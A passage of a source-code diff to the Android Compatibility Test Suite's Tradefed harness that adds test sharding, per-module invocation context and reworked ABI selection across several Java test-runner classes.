+                        mDevice.getSerialNumber()));
             }
-
+            if (mIsLocalSharding) {
+                try {
+                    sPreparedLatch.countDown();
+                    int attempt = 1;
+                    while(!sPreparedLatch.await(MINUTES_PER_PREP_ATTEMPT, TimeUnit.MINUTES)) {
+                        if (attempt > NUM_PREP_ATTEMPTS ||
+                                InvocationFailureHandler.hasFailed(mBuildHelper)) {
+                            CLog.logAndDisplay(LogLevel.ERROR,
+                                    "Incorrect preparation detected, exiting test run from %s",
+                                    mDevice.getSerialNumber());
+                            return;
+                        }
+                        CLog.logAndDisplay(LogLevel.WARN, "waiting on preconditions");
+                        attempt++;
+                    }
+                } catch (InterruptedException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+            // Module Repo is not useful anymore
+            mModuleRepo.tearDown();
+            mModuleRepo = null;
             // Run the tests
-            for (int i = 0; i < moduleCount; i++) {
-                IModuleDef module = modules.get(i);
+            while (!modules.isEmpty()) {
+                // Make sure we remove the modules from the reference list when we are done with
+                // them.
+                IModuleDef module = modules.poll();
                 long start = System.currentTimeMillis();
 
                 if (mRebootPerModule) {
@@ -432,6 +496,12 @@
                 if (checkers != null && !checkers.isEmpty()) {
                     runPreModuleCheck(module.getName(), checkers, mDevice, listener);
                 }
+                IInvocationContext moduleContext = new InvocationContext();
+                moduleContext.setConfigurationDescriptor(module.getConfigurationDescriptor());
+                moduleContext.addInvocationAttribute(IModuleDef.MODULE_NAME, module.getName());
+                moduleContext.addInvocationAttribute(IModuleDef.MODULE_ABI,
+                        module.getAbi().getName());
+                mInvocationContext.setModuleInvocationContext(moduleContext);
                 try {
                     module.run(listener);
                 } catch (DeviceUnresponsiveException due) {
@@ -439,16 +509,16 @@
                     // was successful, and test execution should proceed to next module
                     ByteArrayOutputStream stack = new ByteArrayOutputStream();
                     due.printStackTrace(new PrintWriter(stack, true));
-                    try {
-                        stack.close();
-                    } catch (IOException ioe) {
-                        // won't happen on BAOS
-                    }
+                    StreamUtil.close(stack);
                     CLog.w("Ignored DeviceUnresponsiveException because recovery was successful, "
                             + "proceeding with next module. Stack trace: %s",
                             stack.toString());
                     CLog.w("This may be due to incorrect timeout setting on module %s",
                             module.getName());
+                } finally {
+                    // clear out module invocation context since we are now done with module
+                    // execution
+                    mInvocationContext.setModuleInvocationContext(null);
                 }
                 long duration = System.currentTimeMillis() - start;
                 long expected = module.getRuntimeHint();
@@ -464,6 +534,7 @@
                 if (checkers != null && !checkers.isEmpty()) {
                     runPostModuleCheck(module.getName(), checkers, mDevice, listener);
                 }
+                module = null;
             }
         } catch (FileNotFoundException fnfe) {
             throw new RuntimeException("Failed to initialize modules", fnfe);
@@ -477,8 +548,8 @@
      * @throws DeviceNotAvailableException
      */
     Set<IAbi> getAbis() throws DeviceNotAvailableException {
-        Set<IAbi> abis = new HashSet<>();
-        Set<String> archAbis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+        Set<IAbi> abis = new LinkedHashSet<>();
+        Set<String> archAbis = getAbisForBuildTargetArch();
         if (mPrimaryAbiRun) {
             if (mAbiName == null) {
                 // Get the primary from the device and make it the --abi to run.
@@ -488,57 +559,79 @@
                         PRIMARY_ABI_RUN, mAbiName);
             }
         }
-        for (String abi : AbiFormatter.getSupportedAbis(mDevice, "")) {
-            // Only test against ABIs supported by Compatibility, and if the
-            // --abi option was given, it must match.
-            if (AbiUtils.isAbiSupportedByCompatibility(abi) && archAbis.contains(abi)
-                    && (mAbiName == null || mAbiName.equals(abi))) {
-                abis.add(new Abi(abi, AbiUtils.getBitness(abi)));
-            }
-        }
-        if (abis.isEmpty()) {
-            if (mAbiName == null) {
-                throw new IllegalArgumentException("Could not get device's ABIs");
+        if (mAbiName != null) {
+            // A particular abi was requested, it still need to be supported by the build.
+            if ((!mSkipHostArchCheck && !archAbis.contains(mAbiName)) ||
+                    !AbiUtils.isAbiSupportedByCompatibility(mAbiName)) {
+                throw new IllegalArgumentException(String.format("Your CTS hasn't been built with "
+                        + "abi '%s' support, this CTS currently supports '%s'.",
+                        mAbiName, archAbis));
             } else {
-                throw new IllegalArgumentException(String.format(
-                        "Device %s doesn't support %s", mDevice.getSerialNumber(), mAbiName));
+                abis.add(new Abi(mAbiName, AbiUtils.getBitness(mAbiName)));
+                return abis;
             }
+        } else {
+            // Run on all abi in common between the device and CTS.
+            List<String> deviceAbis = Arrays.asList(AbiFormatter.getSupportedAbis(mDevice, ""));
+            for (String abi : deviceAbis) {
+                if ((mSkipHostArchCheck || archAbis.contains(abi)) &&
+                        AbiUtils.isAbiSupportedByCompatibility(abi)) {
+                    abis.add(new Abi(abi, AbiUtils.getBitness(abi)));
+                } else {
+                    CLog.d("abi '%s' is supported by device but not by this CTS build (%s), tests "
+                            + "will not run against it.", abi, archAbis);
+                }
+            }
+            if (abis.isEmpty()) {
+                throw new IllegalArgumentException(String.format("None of the abi supported by this"
+                       + " CTS build ('%s') are supported by the device ('%s').",
+                       archAbis, deviceAbis));
+            }
+            return abis;
         }
-        return abis;
     }
 
-    private List<SystemStatusChecker> initSystemStatusCheckers() throws ConfigurationException {
-        IConfigurationFactory cf = ConfigurationFactory.getInstance();
-        IConfiguration config = cf.createConfigurationFromArgs(
-                new String[]{mSystemStatusCheckerConfig});
-        // only checks the target preparers from the config
-        List<ITargetPreparer> preparers = config.getTargetPreparers();
-        List<SystemStatusChecker> checkers = new ArrayList<>();
-        for (ITargetPreparer p : preparers) {
-            if (p instanceof SystemStatusChecker) {
-                SystemStatusChecker s = (SystemStatusChecker)p;
-                if (shouldIncludeSystemStatusChecker(s)) {
-                    checkers.add(s);
-                } else {
-                    CLog.i("%s skipped because it's not whitelisted.",
-                            s.getClass().getCanonicalName());
-                }
-            } else {
-                CLog.w("Preparer %s does not have type %s, ignored ",
-                        p.getClass().getCanonicalName(),
-                        SystemStatusChecker.class.getCanonicalName());
+    /**
+     * Return the abis supported by the Host build target architecture.
+     * Exposed for testing.
+     */
+    protected Set<String> getAbisForBuildTargetArch() {
+        return AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
+    }
+
+    /**
+     * Check that the system status checker specified by option are valid.
+     */
+    protected void checkSystemStatusBlackAndWhiteList() {
+        for (String checker : mSystemStatusCheckWhitelist) {
+            try {
+                Class.forName(checker);
+            } catch (ClassNotFoundException e) {
+                ConfigurationException ex = new ConfigurationException(
+                        String.format("--system-status-check-whitelist must contains valid class, "
+                                + "%s was not found", checker), e);
+                throw new RuntimeException(ex);
             }
         }
-        return checkers;
+        for (String checker : mSystemStatusCheckBlacklist) {
+            try {
+                Class.forName(checker);
+            } catch (ClassNotFoundException e) {
+                ConfigurationException ex = new ConfigurationException(
+                        String.format("--skip-system-status-check must contains valid class, "
+                                + "%s was not found", checker), e);
+                throw new RuntimeException(ex);
+            }
+        }
     }
 
     /**
      * Resolve the inclusion and exclusion logic of system status checkers
      *
-     * @param s the {@link SystemStatusChecker} to perform filtering logic on
-     * @return
+     * @param s the {@link ISystemStatusChecker} to perform filtering logic on
+     * @return True if the {@link ISystemStatusChecker} should be included, false otherwise.
      */
-    private boolean shouldIncludeSystemStatusChecker(SystemStatusChecker s) {
+    private boolean shouldIncludeSystemStatusChecker(ISystemStatusChecker s) {
         String clazz = s.getClass().getCanonicalName();
         boolean shouldInclude = mSystemStatusCheckWhitelist.isEmpty()
                 || mSystemStatusCheckWhitelist.contains(clazz);
@@ -547,16 +640,16 @@
         return shouldInclude && !shouldExclude;
     }
 
-    private void runPreModuleCheck(String moduleName, List<SystemStatusChecker> checkers,
+    @VisibleForTesting
+    void runPreModuleCheck(String moduleName, List<ISystemStatusChecker> checkers,
             ITestDevice device, ITestLogger logger) throws DeviceNotAvailableException {
         CLog.i("Running system status checker before module execution: %s", moduleName);
         List<String> failures = new ArrayList<>();
-        for (SystemStatusChecker checker : checkers) {
+        for (ISystemStatusChecker checker : checkers) {
             boolean result = checker.preExecutionCheck(device);
             if (!result) {
                 failures.add(checker.getClass().getCanonicalName());
-                CLog.w("System status checker [%s] failed with message: %s",
-                        checker.getClass().getCanonicalName(), checker.getFailureMessage());
+                CLog.w("System status checker [%s] failed", checker.getClass().getCanonicalName());
             }
         }
         if (!failures.isEmpty()) {
@@ -564,21 +657,21 @@
                     failures.toString());
             InputStreamSource bugSource = device.getBugreport();
             logger.testLog(String.format("bugreport-checker-pre-module-%s", moduleName),
-                    LogDataType.TEXT, bugSource);
+                    LogDataType.BUGREPORT, bugSource);
             bugSource.cancel();
         }
     }
 
-    private void runPostModuleCheck(String moduleName, List<SystemStatusChecker> checkers,
+    @VisibleForTesting
+    void runPostModuleCheck(String moduleName, List<ISystemStatusChecker> checkers,
             ITestDevice device, ITestLogger logger) throws DeviceNotAvailableException {
         CLog.i("Running system status checker after module execution: %s", moduleName);
         List<String> failures = new ArrayList<>();
-        for (SystemStatusChecker checker : checkers) {
+        for (ISystemStatusChecker checker : checkers) {
             boolean result = checker.postExecutionCheck(device);
             if (!result) {
                 failures.add(checker.getClass().getCanonicalName());
-                CLog.w("System status checker [%s] failed with message: %s",
-                        checker.getClass().getCanonicalName(), checker.getFailureMessage());
+                CLog.w("System status checker [%s] failed", checker.getClass().getCanonicalName());
             }
         }
         if (!failures.isEmpty()) {
@@ -586,7 +679,7 @@
                     failures.toString());
             InputStreamSource bugSource = device.getBugreport();
             logger.testLog(String.format("bugreport-checker-post-module-%s", moduleName),
-                    LogDataType.TEXT, bugSource);
+                    LogDataType.BUGREPORT, bugSource);
             bugSource.cancel();
         }
     }
@@ -621,9 +714,11 @@
      */
     void setupFilters() throws DeviceNotAvailableException {
         if (mRetrySessionId != null) {
-            RetryFilterHelper helper = new RetryFilterHelper(mBuildHelper, mRetrySessionId);
+            // Load the invocation result
+            RetryFilterHelper helper = new RetryFilterHelper(mBuildHelper, mRetrySessionId,
+                    mSubPlan, mIncludeFilters, mExcludeFilters, mAbiName, mModuleName, mTestName,
+                    mRetryType);
             helper.validateBuildFingerprint(mDevice);
-            helper.setAllOptionsFrom(this);
             helper.setCommandLineOptionsFor(this);
             helper.populateRetryFilters();
             mIncludeFilters = helper.getIncludeFilters();
@@ -683,17 +778,77 @@
         if (mShards <= 1) {
             return null;
         }
-
+        mIsLocalSharding = true;
         List<IRemoteTest> shardQueue = new LinkedList<>();
         for (int i = 0; i < mShards; i++) {
-            CompatibilityTest test = new CompatibilityTest(mShards, mModuleRepo);
-            OptionCopier.copyOptionsNoThrow(this, test);
-            // Set the shard count because the copy option on the previous line
-            // copies over the mShard value
-            test.mShards = 0;
+            CompatibilityTest test = (CompatibilityTest) getTestShard(mShards, i);
+            test.mIsLocalSharding = true;
             shardQueue.add(test);
         }
-
+        sPreparedLatch = new CountDownLatch(shardQueue.size());
         return shardQueue;
     }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public Collection<IRemoteTest> split(int shardCount) {
+        if (shardCount <= 1 || mIsSharded) {
+            return null;
+        }
+        mIsSharded = true;
+        List<IRemoteTest> shardQueue = new LinkedList<>();
+        for (int i = 0; i < shardCount; i++) {
+            CompatibilityTest test = (CompatibilityTest) getTestShard(shardCount, i);
+            shardQueue.add(test);
+            test.mIsSharded = true;
+        }
+        return shardQueue;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public IRemoteTest getTestShard(int shardCount, int shardIndex) {
+        CompatibilityTest test = new CompatibilityTest(shardCount, mModuleRepo, shardIndex);
+        OptionCopier.copyOptionsNoThrow(this, test);
+        // Set the shard count because the copy option on the previous line
+        // copies over the mShard value
+        test.mShards = 0;
+        return test;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setSystemStatusChecker(List<ISystemStatusChecker> systemCheckers) {
+        mListCheckers = systemCheckers;
+    }
+
+    @Override
+    public void setCollectTestsOnly(boolean collectTestsOnly) {
+        mCollectTestsOnly = collectTestsOnly;
+    }
+
+    /**
+     * Sets include-filters for the compatibility test
+     */
+    public void setIncludeFilter(Set<String> includeFilters) {
+        mIncludeFilters.addAll(includeFilters);
+    }
+
+    /**
+     * Sets exclude-filters for the compatibility test
+     */
+    public void setExcludeFilter(Set<String> excludeFilters) {
+        mExcludeFilters.addAll(excludeFilters);
+    }
+
+    @Override
+    public void setInvocationContext(IInvocationContext invocationContext) {
+        mInvocationContext = invocationContext;
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
index cd0e54f..758be95 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
@@ -68,6 +68,18 @@
     public void testFailed(TestIdentifier test, String trace) {
         super.testFailed(test, trace);
         CLog.i("FailureListener.testFailed %s %b %b %b", test.toString(), mBugReportOnFailure, mLogcatOnFailure, mScreenshotOnFailure);
+        if (mScreenshotOnFailure) {
+            try {
+                InputStreamSource screenSource = mDevice.getScreenshot();
+                super.testLog(String.format("%s-screenshot", test.toString()), LogDataType.PNG,
+                    screenSource);
+                screenSource.cancel();
+            } catch (DeviceNotAvailableException e) {
+                CLog.e(e);
+                CLog.e("Device %s became unavailable while capturing screenshot",
+                    mDevice.getSerialNumber());
+            }
+        }
         if (mBugReportOnFailure) {
            InputStreamSource bugSource = mDevice.getBugreport();
            super.testLog(String.format("%s-bugreport", test.toString()), LogDataType.BUGREPORT,
@@ -82,18 +94,6 @@
                     logSource);
             logSource.cancel();
         }
-        if (mScreenshotOnFailure) {
-            try {
-                InputStreamSource screenSource = mDevice.getScreenshot();
-                super.testLog(String.format("%s-screenshot", test.toString()), LogDataType.PNG,
-                        screenSource);
-                screenSource.cancel();
-            } catch (DeviceNotAvailableException e) {
-                CLog.e(e);
-                CLog.e("Device %s became unavailable while capturing screenshot",
-                        mDevice.getSerialNumber());
-            }
-        }
         if (mRebootOnFailure) {
             try {
                 // Rebooting on all failures can hide legitimate issues and platform instabilities,
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
index 52294205..7a2c44d 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleDef.java
@@ -15,14 +15,17 @@
  */
 package com.android.compatibility.common.tradefed.testtype;
 
+import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.invoker.IInvocationContext;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IDeviceTest;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.IRuntimeHintProvider;
+import com.android.tradefed.testtype.ITestCollector;
+import com.android.tradefed.testtype.suite.ModuleDefinition;
 
-import java.io.File;
 import java.util.List;
 import java.util.Set;
 
@@ -30,7 +33,13 @@
  * Container for Compatibility test info.
  */
 public interface IModuleDef extends Comparable<IModuleDef>, IBuildReceiver, IDeviceTest,
-        IRemoteTest, IRuntimeHintProvider {
+        IRemoteTest, IRuntimeHintProvider, ITestCollector {
+
+    /** key names used for saving module info into {@link IInvocationContext} */
+    // This currently references ModuleDefinition so that there's only once source for String
+    // literals and making it easier to converge IModuleDef and ModuleDefinition later
+    public static String MODULE_NAME = ModuleDefinition.MODULE_NAME;
+    public static String MODULE_ABI = ModuleDefinition.MODULE_ABI;
 
     /**
      * @return The name of this module.
@@ -61,7 +70,7 @@
      * Set a list of preparers to allow to run before or after a test.
      * If this list is empty, then all configured preparers will run.
      *
-     * @param a list containing the simple name of the preparer to run.
+     * @param preparerWhitelist list containing the simple name of the preparer to run.
      */
     void setPreparerWhitelist(Set<String> preparerWhitelist);
 
@@ -75,4 +84,8 @@
     boolean prepare(boolean skipPrep, List<String> preconditionArgs)
             throws DeviceNotAvailableException;
 
+    /**
+     * Retrieves the {@link ConfigurationDescriptor} associated with module config
+     */
+    ConfigurationDescriptor getConfigurationDescriptor();
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleRepo.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleRepo.java
index e689a99..b0c1bbed 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleRepo.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/IModuleRepo.java
@@ -17,12 +17,12 @@
 
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.util.MultiMap;
 
 import java.io.File;
+import java.util.LinkedList;
 import java.util.List;
-import java.util.Map;
 import java.util.Set;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Interface for accessing tests from the Compatibility repository.
@@ -30,16 +30,6 @@
 public interface IModuleRepo {
 
     /**
-     * @return true after each shard has prepared successfully.
-     */
-    boolean isPrepared(long timeout, TimeUnit unit);
-
-    /**
-     * Indicates to the repo whether a shard is prepared to run.
-     */
-    void setPrepared(boolean isPrepared);
-
-    /**
      * @return true if this repository has been initialized.
      */
     boolean isInitialized();
@@ -47,14 +37,18 @@
     /**
      * Initializes the repository.
      */
-    void initialize(int shards, File testsDir, Set<IAbi> abis, List<String> deviceTokens,
-            List<String> testArgs, List<String> moduleArgs, Set<String> mIncludeFilters,
-            Set<String> mExcludeFilters, IBuildInfo buildInfo);
+    void initialize(int shards, Integer shardIndex, File testsDir, Set<IAbi> abis,
+            List<String> deviceTokens, List<String> testArgs, List<String> moduleArgs,
+            Set<String> mIncludeFilters, Set<String> mExcludeFilters,
+            MultiMap<String, String> metadataIncludeFilters,
+            MultiMap<String, String> metadataExcludeFilters,
+            IBuildInfo buildInfo);
 
     /**
-     * @return a {@link Map} of all modules to run on the device referenced by the given serial.
+     * @return a {@link LinkedList} of all modules to run on the device referenced by the given
+     * serial.
      */
-    List<IModuleDef> getModules(String serial);
+    LinkedList<IModuleDef> getModules(String serial, int shardIndex);
 
     /**
      * @return the number of shards this repo is initialized for.
@@ -62,34 +56,9 @@
     int getNumberOfShards();
 
     /**
-     * @return the maximum number of modules a shard will run.
+     * @return the modules which do not have token and have not been assigned to a device.
      */
-    int getModulesPerShard();
-
-    /**
-     * @return the {@link Map} of device serials to tokens.
-     */
-    Map<String, Set<String>> getDeviceTokens();
-
-    /**
-     * @return the {@link Set} of device serials that have taken their workload.
-     */
-    Set<String> getSerials();
-
-    /**
-     * @return the small modules that don't have tokens but have not been assigned to a device.
-     */
-    List<IModuleDef> getSmallModules();
-
-    /**
-     * @return the medium modules that don't have tokens but have not been assigned to a device.
-     */
-    List<IModuleDef> getMediumModules();
-
-    /**
-     * @return the large modules that don't have tokens but have not been assigned to a device.
-     */
-    List<IModuleDef> getLargeModules();
+    List<IModuleDef> getNonTokenModules();
 
     /**
      * @return the modules which have token and have not been assigned to a device.
@@ -100,4 +69,9 @@
      * @return An array of all module ids in the repo.
      */
     String[] getModuleIds();
+
+    /**
+     * Clean up all internal references.
+     */
+    void tearDown();
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
index ba4c6c3..e076a51 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/JarHostTest.java
@@ -19,13 +19,15 @@
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.Option.Importance;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.result.ResultForwarder;
 import com.android.tradefed.testtype.HostTest;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.testtype.IRuntimeHintProvider;
-import com.android.tradefed.util.TimeVal;
+import com.android.tradefed.util.StreamUtil;
+
+import com.google.common.annotations.VisibleForTesting;
 
 import junit.framework.Test;
 
@@ -34,9 +36,11 @@
 import java.lang.reflect.Modifier;
 import java.net.URL;
 import java.net.URLClassLoader;
+import java.util.Collections;
 import java.util.Enumeration;
 import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
 import java.util.jar.JarEntry;
 import java.util.jar.JarFile;
@@ -44,45 +48,29 @@
 /**
  * Test runner for host-side JUnit tests.
  */
-public class JarHostTest extends HostTest implements IAbiReceiver, IBuildReceiver,
-        IRuntimeHintProvider {
+public class JarHostTest extends HostTest {
 
     @Option(name="jar", description="The jars containing the JUnit test class to run.",
             importance = Importance.IF_UNSET)
     private Set<String> mJars = new HashSet<>();
 
-    @Option(name = "runtime-hint",
-            isTimeVal = true,
-            description="The hint about the test's runtime.")
-    private long mRuntimeHint = 60000;// 1 minute
-
-    private IAbi mAbi;
-    private IBuildInfo mBuild;
-    private CompatibilityBuildHelper mHelper;
-
     /**
      * {@inheritDoc}
      */
     @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
+    protected HostTest createHostTest(Class<?> classObj) {
+        JarHostTest test = (JarHostTest) super.createHostTest(classObj);
+        // clean the jar option since we are loading directly from classes after.
+        test.mJars = new HashSet<>();
+        return test;
     }
 
     /**
-     * {@inheritDoc}
+     * Create a {@link CompatibilityBuildHelper} from the build info provided.
      */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mBuild = build;
-        mHelper = new CompatibilityBuildHelper(build);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public long getRuntimeHint() {
-        return mRuntimeHint;
+    @VisibleForTesting
+    CompatibilityBuildHelper createBuildHelper(IBuildInfo info) {
+        return new CompatibilityBuildHelper(info);
     }
 
     /**
@@ -91,10 +79,11 @@
     @Override
     protected List<Class<?>> getClasses() throws IllegalArgumentException  {
         List<Class<?>> classes = super.getClasses();
+        CompatibilityBuildHelper helper = createBuildHelper(getBuild());
         for (String jarName : mJars) {
             JarFile jarFile = null;
             try {
-                File file = new File(mHelper.getTestsDir(), jarName);
+                File file = new File(helper.getTestsDir(), jarName);
                 jarFile = new JarFile(file);
                 Enumeration<JarEntry> e = jarFile.entries();
                 URL[] urls = {
@@ -113,7 +102,8 @@
                         Class<?> cls = cl.loadClass(className);
                         int modifiers = cls.getModifiers();
                         if ((IRemoteTest.class.isAssignableFrom(cls)
-                                || Test.class.isAssignableFrom(cls))
+                                || Test.class.isAssignableFrom(cls)
+                                || hasJUnit4Annotation(cls))
                                 && !Modifier.isStatic(modifiers)
                                 && !Modifier.isPrivate(modifiers)
                                 && !Modifier.isProtected(modifiers)
@@ -127,15 +117,10 @@
                     }
                 }
             } catch (IOException e) {
-                e.printStackTrace();
+                CLog.e(e);
+                throw new RuntimeException(e);
             } finally {
-                if (jarFile != null) {
-                    try {
-                        jarFile.close();
-                    } catch (IOException e) {
-                        // Ignored
-                    }
-                }
+                StreamUtil.close(jarFile);
             }
         }
         return classes;
@@ -150,14 +135,39 @@
      * {@inheritDoc}
      */
     @Override
-    protected Object loadObject(Class<?> classObj) throws IllegalArgumentException {
-        Object object = super.loadObject(classObj);
-        if (object instanceof IAbiReceiver) {
-            ((IAbiReceiver) object).setAbi(mAbi);
+    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+        int numTests = countTestCases();
+        long startTime = System.currentTimeMillis();
+        listener.testRunStarted(getClass().getName(), numTests);
+        super.run(new HostTestListener(listener));
+        listener.testRunEnded(System.currentTimeMillis() - startTime, Collections.emptyMap());
+    }
+
+    /**
+     * Wrapper listener that forwards all events except testRunStarted() and testRunEnded() to
+     * the embedded listener. Each test class in the jar will invoke these events, which
+     * HostTestListener withholds from listeners for console logging and result reporting.
+     */
+    public class HostTestListener extends ResultForwarder {
+
+        public HostTestListener(ITestInvocationListener listener) {
+            super(listener);
         }
-        if (object instanceof IBuildReceiver) {
-            ((IBuildReceiver) object).setBuild(mBuild);
+
+        /**
+         * {@inheritDoc}
+         */
+        @Override
+        public void testRunStarted(String name, int numTests) {
+            CLog.d("HostTestListener.testRunStarted(%s, %d)", name, numTests);
         }
-        return object;
+
+        /**
+         * {@inheritDoc}
+         */
+        @Override
+        public void testRunEnded(long elapsedTime, Map<String, String> metrics) {
+            CLog.d("HostTestListener.testRunEnded(%d, %s)", elapsedTime, metrics.toString());
+        }
     }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
index c69b3a7..5198ec1 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
@@ -20,8 +20,8 @@
 import com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher;
 import com.android.compatibility.common.tradefed.targetprep.PreconditionPreparer;
 import com.android.compatibility.common.tradefed.targetprep.TokenRequirement;
-import com.android.compatibility.common.util.AbiUtils;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.config.ConfigurationException;
 import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -41,8 +41,8 @@
 import com.android.tradefed.testtype.IRuntimeHintProvider;
 import com.android.tradefed.testtype.ITestCollector;
 import com.android.tradefed.testtype.ITestFilterReceiver;
+import com.android.tradefed.util.AbiUtils;
 
-import java.io.File;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashSet;
@@ -67,13 +67,15 @@
     private IBuildInfo mBuild;
     private ITestDevice mDevice;
     private Set<String> mPreparerWhitelist = new HashSet<>();
+    private ConfigurationDescriptor mConfigurationDescriptor;
 
     public ModuleDef(String name, IAbi abi, IRemoteTest test,
-            List<ITargetPreparer> preparers) {
+            List<ITargetPreparer> preparers, ConfigurationDescriptor configurationDescriptor) {
         mId = AbiUtils.createId(abi.getName(), name);
         mName = name;
         mAbi = abi;
         mTest = test;
+        mConfigurationDescriptor = configurationDescriptor;
         boolean hasAbiReceiver = false;
         for (ITargetPreparer preparer : preparers) {
             if (preparer instanceof IAbiReceiver) {
@@ -220,6 +222,7 @@
      */
     @Override
     public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+        CLog.d("Running module %s", toString());
         // Run DynamicConfigPusher setup once more, in case cleaner has previously
         // removed dynamic config file from the target (see b/32877809)
         for (ITargetPreparer preparer : mDynamicConfigPreparers) {
@@ -310,11 +313,19 @@
             OptionSetter setter = new OptionSetter(target);
             setter.setOptionValue(option, value);
         } catch (ConfigurationException e) {
-            e.printStackTrace();
+            CLog.e(e);
         }
     }
 
     /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setCollectTestsOnly(boolean collectTestsOnly) {
+        ((ITestCollector) mTest).setCollectTestsOnly(collectTestsOnly);
+    }
+
+    /*
      * ResultForwarder that tracks whether method testRunStarted() has been called for its
      * listener. If not, invoking finish() will call testRunStarted with 0 tests for this module,
      * as well as testRunEnded with 0 ms elapsed.
@@ -346,4 +357,9 @@
             }
         }
     }
+
+    @Override
+    public ConfigurationDescriptor getConfigurationDescriptor() {
+        return mConfigurationDescriptor;
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
index 89f6ded..388a1aa 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
@@ -17,7 +17,8 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.result.TestRunHandler;
-import com.android.compatibility.common.util.AbiUtils;
+import com.android.compatibility.common.tradefed.util.LinearPartition;
+import com.android.compatibility.common.tradefed.util.UniqueModuleCountUtil;
 import com.android.compatibility.common.util.TestFilter;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.build.IBuildInfo;
@@ -29,12 +30,16 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.testtype.IShardableTest;
+import com.android.tradefed.testtype.IStrictShardableTest;
 import com.android.tradefed.testtype.ITestFileFilterReceiver;
 import com.android.tradefed.testtype.ITestFilterReceiver;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.MultiMap;
 import com.android.tradefed.util.TimeUtil;
 
+import com.google.common.annotations.VisibleForTesting;
+
 import java.io.File;
 import java.io.FilenameFilter;
 import java.io.IOException;
@@ -45,12 +50,11 @@
 import java.util.Comparator;
 import java.util.HashMap;
 import java.util.HashSet;
+import java.util.LinkedList;
 import java.util.List;
 import java.util.Map;
 import java.util.Map.Entry;
 import java.util.Set;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Retrieves Compatibility test module definitions from the repository.
@@ -62,60 +66,40 @@
     static {
         ENDING_MODULES.put("CtsMonkeyTestCases", 1);
     }
-    private static final long SMALL_TEST = TimeUnit.MINUTES.toMillis(2); // Small tests < 2mins
